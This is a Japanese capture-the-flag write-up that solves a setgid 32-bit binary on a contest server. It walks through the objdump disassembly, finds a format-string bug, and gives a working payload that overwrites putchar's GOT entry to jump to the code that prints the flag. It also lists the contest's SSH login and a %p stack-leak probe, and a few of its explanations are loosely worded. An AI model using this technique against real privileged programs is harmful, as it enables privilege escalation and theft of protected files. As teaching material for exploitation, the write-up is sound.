Villager A
ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8
とりあえずSSH接続をしてみる
[q4@eceec62b961b ~]$ ls -a
. .. .bash_logout .bash_profile .bashrc flag.txt q4
[q4@eceec62b961b ~]$ cat flag.txt
cat: flag.txt: Permission denied
ls -a
をするとflag.txt
があったので、cat
で読もうとしましたが、案の定権限がありません。
[q4@eceec62b961b ~]$ file q4
q4: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=526c75e7f0f34744808eb1b09a5a91880562efc8, not stripped
[q4@eceec62b961b ~]$ ./q4
What’s your name?
nn
Hi, nn
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
t
Do you want the flag?
y
Do you want the flag?
no
I see. Good bye.
名前を聞かれ、no
の時のみ応答するプログラムでした。
特定の条件を満たすとflag.txt
が出力される感じっぽいです。
とりあえずobjdump
で逆アセンブルしてみましょう。
[q4@eceec62b961b ~]$ objdump -d q4
q4: file format elf32-i386
Disassembly of section .init:
08048424 <_init>:
8048424: 55 push %ebp
8048425: 89 e5 mov %esp,%ebp
8048427: 53 push %ebx
8048428: 83 ec 04 sub $0x4,%esp
804842b: e8 00 00 00 00 call 8048430 <_init+0xc>
8048430: 5b pop %ebx
8048431: 81 c3 a0 15 00 00 add $0x15a0,%ebx
8048437: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx
804843d: 85 d2 test %edx,%edx
804843f: 74 05 je 8048446 <_init+0x22>
8048441: e8 1e 00 00 00 call 8048464 <__gmon_start__@plt>
8048446: e8 45 01 00 00 call 8048590 <frame_dummy>
804844b: e8 00 03 00 00 call 8048750 <__do_global_ctors_aux>
8048450: 58 pop %eax
8048451: 5b pop %ebx
8048452: c9 leave
8048453: c3 ret
Disassembly of section .plt:
08048454 <.plt>:
8048454: ff 35 d4 99 04 08 pushl 0x80499d4
804845a: ff 25 d8 99 04 08 jmp *0x80499d8
8048460: 00 00 add %al,(%eax)
...
08048464 <__gmon_start__@plt>:
8048464: ff 25 dc 99 04 08 jmp *0x80499dc
804846a: 68 00 00 00 00 push $0x0
804846f: e9 e0 ff ff ff jmp 8048454 <.plt>
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <.plt>
08048484 <fgets@plt>:
8048484: ff 25 e4 99 04 08 jmp *0x80499e4
804848a: 68 10 00 00 00 push $0x10
804848f: e9 c0 ff ff ff jmp 8048454 <.plt>
08048494 <__libc_start_main@plt>:
8048494: ff 25 e8 99 04 08 jmp *0x80499e8
804849a: 68 18 00 00 00 push $0x18
804849f: e9 b0 ff ff ff jmp 8048454 <.plt>
080484a4 <fopen@plt>:
80484a4: ff 25 ec 99 04 08 jmp *0x80499ec
80484aa: 68 20 00 00 00 push $0x20
80484af: e9 a0 ff ff ff jmp 8048454 <.plt>
080484b4 <printf@plt>:
80484b4: ff 25 f0 99 04 08 jmp *0x80499f0
80484ba: 68 28 00 00 00 push $0x28
80484bf: e9 90 ff ff ff jmp 8048454 <.plt>
080484c4 <puts@plt>:
80484c4: ff 25 f4 99 04 08 jmp *0x80499f4
80484ca: 68 30 00 00 00 push $0x30
80484cf: e9 80 ff ff ff jmp 8048454 <.plt>
080484d4 <__gxx_personality_v0@plt>:
80484d4: ff 25 f8 99 04 08 jmp *0x80499f8
80484da: 68 38 00 00 00 push $0x38
80484df: e9 70 ff ff ff jmp 8048454 <.plt>
080484e4 <strcmp@plt>:
80484e4: ff 25 fc 99 04 08 jmp *0x80499fc
80484ea: 68 40 00 00 00 push $0x40
80484ef: e9 60 ff ff ff jmp 8048454 <.plt>
Disassembly of section .text:
08048500 <_start>:
8048500: 31 ed xor %ebp,%ebp
8048502: 5e pop %esi
8048503: 89 e1 mov %esp,%ecx
8048505: 83 e4 f0 and $0xfffffff0,%esp
8048508: 50 push %eax
8048509: 54 push %esp
804850a: 52 push %edx
804850b: 68 e0 86 04 08 push $0x80486e0
8048510: 68 f0 86 04 08 push $0x80486f0
8048515: 51 push %ecx
8048516: 56 push %esi
8048517: 68 b4 85 04 08 push $0x80485b4
804851c: e8 73 ff ff ff call 8048494 <__libc_start_main@plt>
8048521: f4 hlt
8048522: 90 nop
8048523: 90 nop
8048524: 90 nop
8048525: 90 nop
8048526: 90 nop
8048527: 90 nop
8048528: 90 nop
8048529: 90 nop
804852a: 90 nop
804852b: 90 nop
804852c: 90 nop
804852d: 90 nop
804852e: 90 nop
804852f: 90 nop
08048530 <__do_global_dtors_aux>:
8048530: 55 push %ebp
8048531: 89 e5 mov %esp,%ebp
8048533: 53 push %ebx
8048534: 8d 64 24 fc lea -0x4(%esp),%esp
8048538: 80 3d 08 9a 04 08 00 cmpb $0x0,0x8049a08
804853f: 75 3e jne 804857f <__do_global_dtors_aux+0x4f>
8048541: bb e4 98 04 08 mov $0x80498e4,%ebx
8048546: a1 0c 9a 04 08 mov 0x8049a0c,%eax
804854b: 81 eb e0 98 04 08 sub $0x80498e0,%ebx
8048551: c1 fb 02 sar $0x2,%ebx
8048554: 83 eb 01 sub $0x1,%ebx
8048557: 39 d8 cmp %ebx,%eax
8048559: 73 1d jae 8048578 <__do_global_dtors_aux+0x48>
804855b: 90 nop
804855c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048560: 83 c0 01 add $0x1,%eax
8048563: a3 0c 9a 04 08 mov %eax,0x8049a0c
8048568: ff 14 85 e0 98 04 08 call *0x80498e0(,%eax,4)
804856f: a1 0c 9a 04 08 mov 0x8049a0c,%eax
8048574: 39 d8 cmp %ebx,%eax
8048576: 72 e8 jb 8048560 <__do_global_dtors_aux+0x30>
8048578: c6 05 08 9a 04 08 01 movb $0x1,0x8049a08
804857f: 8d 64 24 04 lea 0x4(%esp),%esp
8048583: 5b pop %ebx
8048584: 5d pop %ebp
8048585: c3 ret
8048586: 8d 76 00 lea 0x0(%esi),%esi
8048589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
08048590 <frame_dummy>:
8048590: 55 push %ebp
8048591: 89 e5 mov %esp,%ebp
8048593: 8d 64 24 e8 lea -0x18(%esp),%esp
8048597: a1 e8 98 04 08 mov 0x80498e8,%eax
804859c: 85 c0 test %eax,%eax
804859e: 74 12 je 80485b2 <frame_dummy+0x22>
80485a0: b8 00 00 00 00 mov $0x0,%eax
80485a5: 85 c0 test %eax,%eax
80485a7: 74 09 je 80485b2 <frame_dummy+0x22>
80485a9: c7 04 24 e8 98 04 08 movl $0x80498e8,(%esp)
80485b0: ff d0 call *%eax
80485b2: c9 leave
80485b3: c3 ret
080485b4 <main>:
80485b4: 55 push %ebp
80485b5: 89 e5 mov %esp,%ebp
80485b7: 83 e4 f0 and $0xfffffff0,%esp
80485ba: 81 ec 20 04 00 00 sub $0x420,%esp
80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt>
80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax
80485d1: 89 44 24 08 mov %eax,0x8(%esp)
80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80485dc: 00
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt>
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt>
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt>
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048637: 8d 44 24 18 lea 0x18(%esp),%eax
804863b: 89 04 24 mov %eax,(%esp)
804863e: e8 41 fe ff ff call 8048484 <fgets@plt>
8048643: 85 c0 test %eax,%eax
8048645: 0f 94 c0 sete %al
8048648: 84 c0 test %al,%al
804864a: 74 0a je 8048656 <main+0xa2>
804864c: b8 00 00 00 00 mov $0x0,%eax
8048651: e9 86 00 00 00 jmp 80486dc <main+0x128>
8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp)
804865d: 08
804865e: 8d 44 24 18 lea 0x18(%esp),%eax
8048662: 89 04 24 mov %eax,(%esp)
8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt>
804866a: 85 c0 test %eax,%eax
804866c: 75 13 jne 8048681 <main+0xcd>
804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp)
8048675: e8 4a fe ff ff call 80484c4 <puts@plt>
804867a: b8 00 00 00 00 mov $0x0,%eax
804867f: eb 5b jmp 80486dc <main+0x128>
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt>
80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp)
80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax
80486b3: 89 44 24 08 mov %eax,0x8(%esp)
80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80486be: 00
80486bf: 8d 44 24 18 lea 0x18(%esp),%eax
80486c3: 89 04 24 mov %eax,(%esp)
80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt>
80486cb: 8d 44 24 18 lea 0x18(%esp),%eax
80486cf: 89 04 24 mov %eax,(%esp)
80486d2: e8 dd fd ff ff call 80484b4 <printf@plt>
80486d7: b8 00 00 00 00 mov $0x0,%eax
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop
~~省略~~
main
関数をサーっと見るとファイルを開くライブラリ関数であるfopen@plt
があります。
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> <-- fopen関数
このアドレスにたどり着くと、80484a4
に行き、fopen
関数が実行されます。
しかし、上の方を見るとjne
というのがあります。
jne
は「jump if not equal」という意味です。イコールじゃなかったら指定されたアドレスに飛びますという事。
何に対してnot equal
かというと、フラグレジスタに対してです。
フラグレジスタとは、例えばtest %eax, %eax
(%eax同士の論理積)の結果が0になった時にZF(ゼロフラグ)=1となります。cmp src1, src2
(src1とsrc2の減算)でsrc1
とsrc2
の値が一緒だと結果は0になるのでZF(ゼロフラグ)=1となります。
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
一行目ずつ見ていきましょう。
-
test %eax,%eax
は%eax
同士の論理積です。仮に%eax=1010
だとしましょう- 結果は、
1010
です
- 結果は、
-
setne %al
は、set not equal
と分けられる- つまり、前の結果でZF=0なら1を%alに格納するという事です
- 前回の計算は
1010
なので&al = 1
という事になります
-
test %al,%al
は一行目と同じです。&al = 1
同士の論理積をして、結果は1となりZF=0になります -
jne 804861a <main+0x66>
では、jump if not qeual
なのでZF=0より条件を満たします
よって、 804861aにjumpします。
という流れになっています。%eaxが0であれば、いいんですがその方針で行くと少しめんどくさそうです。
長々と説明しましたが、私の知識ではここまでが限界で、ここから調べて解きました。
GOT Overwrite
入力文字列がアプリケーションによってコマンドとして読み取られる脆弱性を使った攻撃手法です。
例えば, echo "AAAA %p %p %p %p %p %p" | ./q4
を実行してみましょう。
[q4@eceec62b961b ~]$ echo "AAAA %p %p %p %p %p %p" | ./q4
What’s your name?
Hi, AAAA 0x400 0xf7c50580 0xffee12f8 0x6 (nil) 0x41414141
Do you want the flag?
Aの文字コードは41なので,6番目のスタックの値に入力した文字列が格納されているという事になります。
(%pとは引数を持ってくるものですが、ない場合は引数に相当するスタックの値を出力します)
また、先ほど見たjne
を無視して次のアドレスに飛ぶことができればファイルを開くことができそうですよね。
Format string attackを用いて、'jne'の次のアドレス8048691
に飛ぶことができればいいという事です。
じゃあ入力が済んだ後、無条件に特定のアドレスに飛ぶ動作があれば、その特定のアドレスを8048691
に書きかえればいいでしょう。
アセンブリ命令を読んでみると
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> <--- 入力?
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> <--- print("Hi, ○○")?
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> < --- print("Do you want the flag?")?
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
と
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
が候補ですね。今回はputchar@plt
を使いましょう。
これらはライブラリ関数で、putchar@plt
が呼び出された後jmp *0x80499e0
となっています。
*0x80499e0
は0x80499e0
に格納されているアドレスに飛ぶという事です。
方針は
0x80499e0
の中に0x8048691
を格納する
実践
echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4
上記は方針に沿った入力です。一つずつ説明します。
-
-e
はエスケープシーケンスを認識するためのオプションです -
\xe0\x99\x04\x08
はリトルエンディアンで表現しており、アドレス080499e0
を表す-
0x80499e0
と入力すると、16進数と捉えられ全く違う意味となる
-
-
%134514317x
は134514321(16進数で8048691)個の文字の入力を表す- 書き込み先アドレス
\xe0\x99\x04\x08
は4文字(4バイト)と計算されるため、$134514321-4 = 134514317$となります
- 書き込み先アドレス
-
%6\$n
は6つ目のアドレスにprintfで出力される文字数を書き込んでくれます
FLAG_hogehoge
実行すると、134514317個の空白ののちflagが表示されます。